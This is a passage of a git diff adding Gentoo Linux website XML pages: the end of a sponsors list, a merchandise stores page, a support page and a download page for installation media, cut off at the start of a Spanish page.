+their hearts and personal credos in working to continuously secure the freedom
+of Open Source Projects for all users. They greatly appreciate the value of
+Gentoo and understand the necessity of supporting both developers and
+infrastructure.
+</p>
+<p>
+Find the best providers in Germany in distance learning at <uri
+link="http://www.fern-studiengang.de/">Fern Studiengang</uri>.
+</p>
+<fig link="/images/sponsors/edurium-big.gif" linkto="http://www.edurium.de/"
+     short="Edurium" />
+<p>
+<uri link="http://www.edurium.de/">edurium</uri> - the education portal is a
+German education portal.
+</p>
+<fig link="/images/sponsors/online-kredit-index.jpg" linkto="http://www.online-kredit-index.de/"
+     short="Online Kredit Index" />
+<p>
+<uri link="http://www.online-kredit-index.de/">Online Kredit Index</uri>
+is a German finance service provider. 
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.64 2009/11/05 23:41:45 robbat2 Exp -->
+<section>
+<title>Hetzner Online AG</title>
+<body>
+<fig link="/images/sponsors/hetzner-logo.jpg" linkto="http://www.hetzner.de/"
+     short="Hetzner Online AG" />
+<p>
+<uri link="http://www.hetzner.de/">Hetzner Online</uri> is one of the leading
+webhosting companies and datacenter operators in Germany.  We offer powerful
+dedicated hosting solutions, colocation, webspace, domains, SSL certificates
+and search engine entries.  Coupled with best prices and outstanding support,
+Hetzner Online surpass customers' expectations around the world.  Hetzner
+Online supports the Gentoo project with a powerful dedicated server.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.52, Thu Jul 10 18:19:46 2008 UTC -->
+<section>
+<title>WebHosting.UK.com</title>
+<body>
+<fig link="/images/sponsors/web-hosting-uk.jpg" linkto="http://www.webhosting.uk.com/"
+     short="WebHosting.UK.com" />
+<p>
+Founded in 2001, WebHosting UK offers cheap and affordable Gentoo Linux
+Dedicated Servers in UK. Webhosting UK also provides fully managed Shared
+hosting, Reseller Hosting, Semi Dedicated Hosting and Virtual Private Servers
+with all important features such as 24x7x365 technical support, 99.95% Uptime
+Guarantee included as standard.
+</p>
+</body>
+</section>
+
+
+<!-- added: sponsors.xml, v1.29, Tue Jun 7 08:09:05 2005 UTC -->
+<section>
+<title>University of Virginia</title>
+<body>
+<fig link="/images/sponsors/virginia-logo.gif" linkto="http://www.virginia.edu"
+     short="University of Virginia Logo"/>
+<p>
+University of Virginia hosts quite a few Alpha boxes used by the
+Gentoo/Alpha developers for building new Gentoo releases as well as
+daily work such as keyword testing and security bumps.
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.33, Fri Jun 10 14:44:58 2005 UTC -->
+<section>
+<title>HP</title>
+<body>
+<fig link="/images/sponsors/hp-logo.jpg" linkto="http://opensource.hp.com"
+     short="HP OpenSource Logo"/>
+<p>
+HP is a technology solutions provider to consumers, businesses and
+institutions globally.  HP has over 200 products that ship with open
+source software.  From client to server to data center, HP is
+contributing to hundreds of open source projects every day.  For
+more information about HP's open source involvement, check out
+<uri link="http://opensource.hp.com/">http://opensource.hp.com/</uri>
+</p>
+<p>
+HP provides R&amp;D resources and has loaned and hosted Alpha and IA64 hardware
+for the Gentoo project.
+</p>
+</body>
+</section>
+
+</chapter>
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Specific donations</title>
+<section>
+<body>
+
+<p>
+Gentoo would like to thank the following companies and organizations who have
+made specific donations to further the development of Gentoo.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.67 2010/02/02 20:09:35 robbat2 Exp -->
+<section>
+<title>Opengear</title>
+<body>
+<fig link="/images/sponsors/opengear-logo.jpg" linkto="http://www.opengear.com/"
+     short="Opengear" />
+<p>
+<uri link="http://www.opengear.com/">Opengear</uri> designs and manufactures
+next generation console server solutions for secure remote access and control
+of network devices such as routers, switches, servers, firewalls,
+uninterruptable power supplies, power distribution units and environmental
+monitoring devices. The mission of Opengear is to be a leading supplier and
+thought leader in open source technologies for infrastructure management and an
+innovative developer of next generation console server and power management
+solutions.  Opengear have donated a number of console servers to Gentoo.
+</p>
+</body>
+</section>
+
+<!-- added: 1.18, Sat Mar 13 14:47:01 2004 UTC -->
+<section>
+<title>NVIDIA</title>
+<body>
+<fig link="/images/sponsors/nvidia-logo.gif" linkto="http://www.nvidia.com" 
+     short="NVIDIA"/>
+<p>
+NVIDIA Corporation (Nasdaq: NVDA) is a market leader in visual
+computing technology dedicated to creating products that enhance the
+digital media experience on consumer and professional computing
+platforms, from desktops and workstations to notebooks and handhelds.
+The company's graphics and communications processors have broad market
+reach and are incorporated into a wide variety of computing platforms,
+including consumer PCs, enterprise PCs, professional workstations,
+digital content creation systems, military navigation systems and video
+game consoles.
+</p>
+
+<p>
+NVIDIA has provided the Gentoo project with numerous AMD
+development machines and video cards to further development of Gentoo on the
+Athlon XP and Athlon64 platforms.
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.43, Tue Sep 5 12:53:24 2006 UTC -->
+<section>
+<title>Cloanto</title>
+<body>
+<p>
+<uri link="http://www.amigaforever.com/">Cloanto</uri> has donated the <uri
+link="http://www.amigaforever.com/">Amiga Forever CD</uri> to support
+development and maintenance of Amiga emulation software in Gentoo.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.63 2009/09/30 19:20:06 robbat2 Exp -->
+<section>
+<title>OSTC</title>
+<body>
+<fig link="/images/sponsors/ostc-banner.jpg" linkto="http://ostc.pl/" short="OSTC" />
+<p><uri link="http://ostc.pl/">OSTC</uri> is the first and largest proprietary
+derivatives trading company in Poland. They push the boundaries of global
+market electronic trading using Gentoo and Open Source software as a
+integral components.</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.24, Sat Nov 13 12:49:04 2004 UTC -->
+<section>
+<title>Genesi</title>
+<body>
+<fig link="/images/sponsors/genesi_logo.gif" linkto="http://www.genesi.lu/" 
+     short="Genesi"/>
+<p>
+Genesi is a leading provider of Freescale and IBM PowerPC based
+computing products. Genesi's <uri
+link="http://www.pegasosppc.com">PegasosPPC MicroATX computer</uri> is
+designed to bring PowerPC technology flexibility and efficiency to the
+desktop, low-end server and pervasive market segments at an affordable
+price.  Beginning with the 2004.3 release, the Open Desktop Workstation
+will ship with Gentoo pre-installed.
+</p>
+<p>
+<uri link="http://www.genesi.lu">Genesi</uri>  has provided many PowerPC based
+<uri link="http://www.pegasosppc.com/odw.php">Open Desktop
+Workstations</uri> to Gentoo. For information about Genesi's
+involvement in the Linux Open Source community, please see
+<uri link="http://www.ppczone.org">www.PPCZone.org</uri>
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.29, Tue Jun 7 08:09:05 2005 UTC -->
+<section>
+<title>DataRescue</title>
+<body>
+<fig link="/images/sponsors/datarescue-logo.gif"
+     linkto="http://www.datarescue.com" short="DataRescue logo"/>
+<p>
+DataRescue is the developer of the IDA Pro Disassembler &amp; Debugger,
+an essential tool for vulnerability research and hostile binary
+analysis. DataRescue runs several of its public servers and its main
+internal server on Gentoo Linux.
+</p>
+
+<p>
+DataRescue has donated software to the Gentoo Audit Team.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Past sponsors</title>
+<section>
+<body>
+
+<p>Gentoo would like to extend a special thanks to all of our past sponsors.</p>
+
+<p>If your organization previously has sponsored Gentoo, and was accidently
+omitted from the following list, please don't hesitate to contact our
+infrastructure team, so that we may recognize you. We've tried to track down
+all past sponsors, but a few have been non-responsive to requests, or we simply
+didn't know about them from the very early years of the project.</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.35, Wed Jan 4 21:49:00 2006 UTC -->
+<section>
+<title>Department of Physics - University of Trieste</title>
+<body>
+<fig link="/images/sponsors/units_logo.png" linkto="http://physics.units.it"
+     short="Department of Physics - University of Trieste"/>
+<p>
+The Physics department at the University of Trieste has provided infrastructure services to the 
+Gentoo project and hosts all of our mailing lists for several years.
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.35, Wed Jan 4 21:49:00 2006 UTC -->
+<section>
+<title>Inverse Path</title>
+<body>
+<fig link="/images/sponsors/inversepath_logo.png" linkto="http://www.inversepath.com"
+     short="Inverse Path Ltd."/>
+<p>
+Inverse Path Ltd. is an international consultancy providing design and
+implementation of secure network and infrastructures with particular expertise
+in open source software. Among its services it offers Gentoo commercial
+support for deployment in production environments as well as professional
+training.
+</p>
+<p>
+Inverse Path previously provided a VOIP server for use by Gentoo developers.
+</p>
+</body>
+</section>
+
+
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<!-- removed: sponsors.xml, v1.13, Tue Dec 9 02:25:17 2003 UTC -->
+<section>
+<title>Pilosoft</title>
+<body>
+<fig link="/images/sponsors/pilosoft-logo.gif" linkto="http://www.pilosoft.com/" short="Pilosoft"/>
+<p>
+Pilosoft provides a multitude of Internet-related services, including DSL connectivity, shared and dedicated web hosting, colocation facilities and customized IP services.
+</p>
+<p>
+Pilosoft provided bandwidth and colocation services for the Gentoo Linux project.
+</p>
+</body>
+</section>
+
+
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<!-- removed: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<section>
+<title>Southern Nazarene University (SNU)</title>
+<body>
+<p>
+Founded in 1899, Southern Nazarene University is a private, Christian, liberal
+arts university-a service of the Church of the Nazarene. Located on a 40-acre
+campus just west of Oklahoma City, SNU grew out of several small colleges
+committed to training people for service to God and their fellow man. More than
+25,000 alumni work and serve throughout the United States and the world.
+</p>
+<p>
+SNU provided use of a dedicated server and bandwidth to the Gentoo Linux project.
+</p>
+</body>
+</section>
+
+
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<!-- removed: sponsors.xml, ???? -->
+<section>
+<title>University of Florida: Open Systems Group</title>
+<body>
+<p>
+The <uri link="http://open-systems.ufl.edu/">Open Systems Group</uri> at the
+<uri link="http://www.ufl.edu/">University of Florida</uri> previously hosted a
+small cluster powering the rsync1.us.gentoo.org master mirror service for all
+community mirrors.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.9, Sun Aug 17 23:26:25 2003 UTC -->
+<!-- added: sponsors.xml, v1.17, Thu Feb 19 14:59:06 2004 UTC -->
+<!-- removed: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<section>
+<title>Melior, Inc.</title>
+<body>
+<fig link="/images/sponsors/melior-logo.jpg" linkto="http://www.meliorinc.com" short="Melior"/>
+<!-- <fig link="/images/sponsors/isecure-logo.jpg" linkto="http://www.ddos.com"/> -->
+<p>
+Melior, Inc. provides proven distributed Denial of Service (dDoS) protection
+and the industry's only Infrastructure Cloaking technology: the iSecure True
+Intrusion Prevention System (TIPSTM)
+</p>
+<p>
+Melior, Inc. provided the server, bandwidth and colocation facilities for a old
+developer account box, main web node, and a dedicated rsync server.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.13, Tue Dec 9 02:25:17 2003 UTC -->
+<!-- removed: sponsors.xml, v1.16, Sat Jan 31 13:30:52 2004 UTC -->
+<section>
+<title>Ethernetworks.de</title>
+<body>
+<fig link="/images/sponsors/ethernetworks-logo.jpg" linkto="http://www.ethernetworks.de" short="Ethernetworks Germany"/>
+<p>
+<uri link="http://www.ethernetworks.de">Ethernetworks Germany</uri> is specialized on professional networking, internet security solutions as well as shared and dedicated web hosting. Server integration into multi platform business networks is Ethernetworks Deutschland main scope of duties, just as Crossplatform network design including Linux, MacOS X and Windows.
+</p>
+<p>
+Ethernetworks Germany provided use of a PowerPC G4 along with colocation and bandwidth space for it.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.17, Thu Feb 19 14:59:06 2004 UTC -->
+<!-- removed: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<section>
+<title>Lumen Software</title>
+<body>
+<fig link="/images/sponsors/lumen.png" linkto="http://www.lumensoftware.com/" short="Lumen Software"/>
+<p>
+Lumen Software utilizes Gentoo as the base Linux distribution in all our
+pre-configured server products. Lumen Softwares EzThin Server products
+are pre-configured Linux server solutions that provide a complete
+solution for the small office to a large scale enterprise organization.
+EzThin features pre-installed applications (productivity software,
+graphics, etc.), virtual desktops (maintenance free and require no base
+OS), remote access, centralized user and user desktop management,
+automated server updates and more. Lumen Softwares development has
+focused on creating an environment that allows organizations to take
+advantage of the full benefits of Linux without the need of any Linux
+experience or training. This focus has culminated into the EzThin Server
+solutions we have today, with EzThin Server certified partnerships with
+Dell and Gateway.</p>
+<p>
+Lumen Software provided funding in 2004 to further development of our Portage
+package management solution.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.20, Mon Oct 11 14:02:32 2004 UTC -->
+<!-- removed: sponsors.xml, v1.22, Thu Oct 21 17:05:03 2004 UTC -->
+<section>
+<title>Tera-Byte.com Inc</title>
+<body>
+<p>Tera-Byte.com is Canada's largest webhost, offering services ranging from
+shared web hosting to virtual servers to co-location and dedicated servers.</p>
+<p>Tera-Byte.com provided a dedicated rsync server which was part of the
+rsync.gentoo.org rotation.</p>
+</body>
+</section>
+
+
+</chapter>
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Source and rsync mirrors</title>
+<section>
+<body>
+
+<p>
+Gentoo relies heavily upon a global network of rsync and source mirrors.
+Without these mirrors, access to new packages, updates to the Portage tree and 
+new releases of Gentoo Linux would be impossible.  Some mirrors are provided by
+individuals, others by companies. You can find a complete listing on our <uri
+link="/main/en/mirrors.xml">Gentoo mirrors page</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+<chapter>
+<title>Anonymous Sponsors</title>
+<section>
+<body>
+
+<p>
+Several other companies and organizations provide services and assistance to 
+the Gentoo project, but have expressed a desire to remain anonymous.  We 
+would like to thank those sponsors for their support of Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- 
+	TODO:
+
+	Present:
+	========
+	Org: VR.org
+	Contact: ...
+	Boxes: loon.g.o, wren.g.o, magpie.g.o, motmot.g.o, cockatoo.g.o, sparrow.g.o
+
+	Org: TopIX
+	Contact: ...
+	Boxes: kea.g.o
+
+	Org: Gossamer
+	Contact: ...
+	Boxes: gannet.g.o, godwit.g.o, grebe.g.o, grouse.g.o
+	
+	Past:
+    =====
+	Org: Tavros Technology Services, Inc.
+	Contact: kingtaco
+	Boxes: waxwing.g.o
+
+	Org: 36m
+	Contact: kengland
+	Boxes: heron.g.o, roadrunner.g.o
+
+-->
+
+</mainpage>
diff --git a/xml/htdocs/main/en/stores.xml b/xml/htdocs/main/en/stores.xml
new file mode 100644
index 00000000..db955992
--- /dev/null
+++ b/xml/htdocs/main/en/stores.xml
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/stores.xml,v 1.10 2010/07/25 14:46:46 dabbott Exp $ -->
+
+<mainpage>
+<title>Gentoo Stores</title>
+
+<author title="Author">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+
+<author title="Author">
+  <mail link="dabbott">David Abbott</mail>
+</author>
+
+
+<abstract>
+This document lists the places that Gentoo merchandise may be purchased.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2010-07-25</date>
+
+<chapter>
+<title>Vendor Information</title>
+<section>
+<body>
+
+<p>
+There are many types of business that are providing solutions based on Gentoo,
+from a simple pre-load of Gentoo for a desktop PC, to a complex multi-vendor
+application environment. 
+</p>
+
+<p>
+If you simply don't have the ability to download the large DVD or CD images,
+then you may wish to purchase a Gentoo DVD or CD. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Approved Vendors</title>
+<section>
+<body>
+<p>
+Gentoo merchanise may be purchased from the following vendors 
+who have been licenced to use the Gentoo Logo by either the 
+<uri link="http://www.gentoo.org/foundation/en/">Gentoo Foundation Inc</uri>
+ (in the USA) or <uri link="http://www.gentoo-ev.org">Friends of Gentoo e.V.</uri>
+ within the European Union
+</p>
+<p>
+Approved Vendors make a small contribution to Gentoo from sales of Gentoo related merchandise. 
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Americas</title>
+<body>
+<p>
+<uri link="http://www.cafepress.com/officialgentoo/">Offical Gentoo Cafepress Store</uri>
+located in the USA
+</p>
+<p></p>
+<p>
+<uri link="http://www.case-badges.com/gentoo-logo-3d-domed-computer-case-badges-p-212.html">
+	Techiant, LLC</uri> for Case Badges located in the USA
+</p>
+</body>
+</section>
+
+<section>
+<title>Europe</title>
+<body>
+<p>
+<uri link="http://22258.spreadshirt.net/de/DE/Shop">Offical Friends of Gentoo e.V Store</uri>
+located in Germany
+</p>
+<p>
+	<uri
+		link="http://www.linuxpusher.com/distributions/Gentoo-Linux">LinuxPusher</uri>
+	located in Denmark
+</p>
+</body>
+</section>
+
+<section>
+<body>
+<p>
+If you buy something from a licenced vendor and you like it, tell all your friends. 
+</p>
+<p>
+If you have problems with quality or the vendor, please tell 
+<mail link="trustees@gentoo.org">us</mail> and the vendor. 
+We do not undertake to resolve individual issues but we take the quality of goods bearing
+ our logo very seriously indeed.
+</p>
+</body>
+</section>
+
+<section>
+<title>Gentoo Linux DVDs</title>
+<body>
+<p>
+	<b>North America:</b>
+</p>
+<p>
+	<uri link="http://www.jbox.ca/software/linux-distributions/gentoo/"> 
+		Stormfront Gentoo Section</uri>
+</p>
+<p>
+	<b>Brazil</b>
+</p>
+<p>
+<uri link="http://www.distribuicoeslinux.com.br/">Brazilian Store of Linux Media</uri>
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Unlicenced Vendors</title>
+<section>
+<title>Information</title>
+<body>
+<p>
+If you would like a listing here please email the <mail
+	link="trustees@gentoo.org">trustees</mail> A listing on this page is included
+in the <uri link="name-logo.xml"> license. </uri>Gentoo has to defend its
+registered marks to prevent them becoming public domain and we try to do it in
+the friendy way that is the hallmark of the open source community.
+</p>
+</body>
+</section>
+
+<section>
+<title>Gentoo Linux CDs</title>
+<body>
+
+<p>
+	<b>North America:</b>
+</p>
+<p>
+<uri link="http://www.cheapbytes.com">CheapBytes</uri>
+</p>
+<p>
+<uri link="http://edmunds-enterprises.com">Edmunds Enterprises</uri>
+</p>
+<p>
+<uri link="http://www.frozentech.com">Frozentech</uri>
+</p>
+<p>
+<uri
+	link="http://www.osdisc.com/cgi-bin/view.cgi/products/linux/gentoo">OSDisc.com</uri>
+</p>
+<p>
+<uri link="http://www.thelinuxstore.ca">The Linux Store</uri>
+</p>
+<p>
+	<b>Europe:</b>
+</p>
+<p>
+<uri link="http://getlinux.leprado.com">Getlinux (FR)</uri>
+</p>
+<p>
+<uri link="http://www.linux2go.de">Linux2Go (DE)</uri>
+</p>
+<p>
+<uri link="http://www.cheaplinux.de/systeme/gentoo.php">CheapLinux (DE)</uri>
+</p>
+<p>
+<uri link="http://www.linux-distro.co.uk">Linux-Distro (UK)</uri>
+</p>
+<p>
+	<b>Oceania:</b>
+</p>
+<p>
+<uri link="http://shop.linuxit.com.au/">Linux Information Technology (Australia)</uri>
+</p>
+<p>
+<uri link="http://www.lsl.com.au/">Linux System Labs (Australia)</uri>
+</p>
+<p>
+<uri link="http://www.linuxcdmall.com/gentoo.html">Linux CD Mall (New Zealand)</uri>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Computers with Gentoo Linux pre-installed</title>
+<body>
+
+<p>
+The following companies sell computers that come pre-installed with Gentoo 
+Linux.
+</p>
+
+<p>
+	<b>North America:</b>
+</p>
+<p>
+<uri link="http://linuxcertified.com/gentoo-laptop.html">Linux Certified, Inc.</uri>
+</p>
+<p>
+<uri link="http://www.microway.com">Microway, Inc.</uri>
+</p>
+
+<p>
+	<b>Australia:</b>
+</p>
+<p>
+<uri link="http://www.vgcomputing.com.au">VG Computing</uri>
+</p>
+
+<p>
+	<b>Europe:</b>
+</p>
+<p>
+<uri link="http://www.linux-service.be">Linux Service (Belgium)</uri>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Want to be listed on this page?</title>
+<body>
+
+<p>
+For vendor listing on this page, Gentoo requires that you sell our media 
+at no "profit" as described by the GPL (reasonable cost to cover 
+expenses) or make an agreement with Gentoo for the listing. That 
+agreement could be one where you donate some amount to Gentoo or could 
+be free, at Gentoo's discretion. Vendors supporting open source will be 
+considered heavily for free listing. We do not list commercial vendors 
+who do not give back to Gentoo because we already have a Gentoo store. 
+If you are making a profit, contact the <mail 
+link="trustees@gentoo.org">Gentoo foundation</mail> to negotiate an 
+agreement.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
+
diff --git a/xml/htdocs/main/en/support.xml b/xml/htdocs/main/en/support.xml
new file mode 100644
index 00000000..401170a1
--- /dev/null
+++ b/xml/htdocs/main/en/support.xml
@@ -0,0 +1,104 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage>
+<title>Gentoo Linux Support</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+How to obtain support for Gentoo Linux
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>Support</title>
+<section id="intro">
+<body>
+
+<p>
+Gentoo is a volunteer-driven distribution and so are our support options. 
+It is not possible for our developers to provide support (paid or otherwise)
+because we simply don't have the time or resources to do so.
+</p>
+
+<p>
+We have however a great Gentoo community that tests and helps document many
+aspects of the Gentoo distribution. We advise you to direct your support
+questions to the <uri link="http://forums.gentoo.org">Gentoo Forums</uri>, <uri
+link="/main/en/lists.xml">Gentoo Mailinglists</uri> or <uri
+link="/main/en/irc.xml">Gentoo Chat Channels</uri>. Those are far better suited
+for support questions as they represent a major part of the "common" knowledge
+about Gentoo.
+</p>
+
+<p>
+Most Gentoo developers frequently visit those community channels and try their
+best to contribute to the ongoing discussions and questions. 
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>Hardware Requirements</title>
+<body>
+
+<p>
+The hardware requirements for each architecture are placed in our <uri
+link="/doc/en/handbook/index.xml">Gentoo Handbook</uri>.
+</p>
+
+<p>
+Direct links to the hardware requirements:  
+<uri link="/doc/en/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri link="/doc/en/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri link="/doc/en/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>, 
+<uri link="/doc/en/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>, 
+<uri link="/doc/en/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>, 
+<uri link="/doc/en/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>, 
+<uri link="/doc/en/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>, 
+<uri
+link="/doc/en/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>Downloading Gentoo</title>
+<body>
+
+<p>
+You can download Gentoo from any of our <uri
+link="/main/en/mirrors.xml">mirrors</uri>. The downloadable ISO files are
+located inside the <path>releases/</path> directory. 
+</p>
+
+<p>
+More information about the available ISOs and files can be found in our <uri
+link="/doc/en/handbook/index.xml">Gentoo Handbook</uri>.
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>Reporting Bugs</title>
+<body>
+
+<p>
+Found a bug? Please <uri link="http://bugs.gentoo.org">report</uri> it.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/where.xml b/xml/htdocs/main/en/where.xml
new file mode 100644
index 00000000..f75a01de
--- /dev/null
+++ b/xml/htdocs/main/en/where.xml
@@ -0,0 +1,182 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/where.xml,v 1.147 2010/08/28 23:30:41 nightmorph Exp $ -->
+
+<mainpage>
+<title>Where to Get Gentoo Linux</title>
+
+<author title="Author">
+  <mail link="www@gentoo.org">Gentoo WWW Team</mail>
+</author>
+
+<abstract>
+How to obtain Gentoo Linux from the Internet.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.75</version>
+<date>2010-08-28</date>
+
+<chapter>
+<title>Installation media</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux is available free over the Internet. You can download Gentoo Linux
+from the appropriate iso and architecture link below.
+</p>
+
+<p>
+Please consult our <uri link="/doc/en/handbook/">Gentoo Handbooks</uri> for more
+information on what to download and how to install Gentoo.
+</p>
+
+<!-- No torrents for the autobuilds for the forseeable future
+Or, if you prefer BitTorrent, you may see a list of available torrents at <uri
+link="http://torrents.gentoo.org">torrents.gentoo.org</uri>.
+-->
+
+<ul>
+  <li>
+    alpha: <uri
+    link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    amd64: <uri
+    link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    arm: <uri link="http://distfiles.gentoo.org/releases/arm/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    hppa: <uri
+    link="http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    ia64: <uri
+    link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    ppc/ppc64: <uri
+    link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    s390/s390x: <uri
+    link="http://distfiles.gentoo.org/releases/s390/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    sh:	<uri
+    link="http://distfiles.gentoo.org/releases/sh/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    sparc: <uri
+    link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    x86: <uri
+    link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-stage3/">stages</uri>
+  </li>
+</ul>
+
+<p>
+If you prefer to select a local mirror yourself, see
+<uri link="mirrors.xml">Gentoo Mirrors</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Technical details</title>
+<section>
+<body>
+
+<p>
+Descriptions, release notes, roadmaps, sub-projects and a list of the Gentoo
+Developers who work on the Gentoo release media can all be found on our <uri
+link="/proj/en/releng/"> Release Engineering Project page</uri>.
+</p>
+
+</body>
+</section>
+
+<!-- Autobuild start -->
+
+<section>
+<title>Gentoo Weekly Minimal Install CD and Stages</title>
+<body>
+
+<p>
+Our Release Engineering team provides new minimal install CDs and stages on a
+<e>weekly</e> basis. You can find these releases on any of our mirrors in
+<path>/releases/&lt;arch&gt;/current-iso/</path> or
+<path>/releases/&lt;arch&gt;/current-stage3/</path>. Not every architecture is
+updated on the same day. Not all architectures release CD images.
+</p>
+
+<p>
+Since these releases are built automatically by Release Engineering servers,
+there is some chance that a stage or CD may not be produced for a given week.
+When this happens, just use the latest CD and stage available. More releases are
+available on our mirrors in <path>/releases/&lt;arch&gt;/autobuilds/</path>. Use
+this directory if there isn't anything recent enough in
+<path>current-iso/</path> or <path>current-stage3/</path>.
+</p>
+
+<!-- Autobuild end -->
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Other media</title>
+
+<!-- 10.1 START -->
+<section>
+<title>Gentoo 10.1</title>
+<body>
+<p>
+<b>LiveDVD (released Oct 10, 2009)</b>
+<br/>(up to 2.6 gigabytes depending on arch)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/amd64/">amd64</uri>
+    <uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/x86/">x86</uri>
+</p>
+
+</body>
+</section>
+<!-- 10.1 END -->
+
+<!-- Vendors Link -->
+<section>
+<title>Gentoo DVDs and CDs</title>
+<body>
+
+<p>
+If you simply don't have the ability to download the large DVD or CD images,
+then you may wish to purchase a <uri link="stores.xml">Gentoo DVD or CD.</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/es/about.xml b/xml/htdocs/main/es/about.xml
new file mode 100644
index 00000000..8eeb5bb9
--- /dev/null
+++ b/xml/htdocs/main/es/about.xml
@@ -0,0 +1,124 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
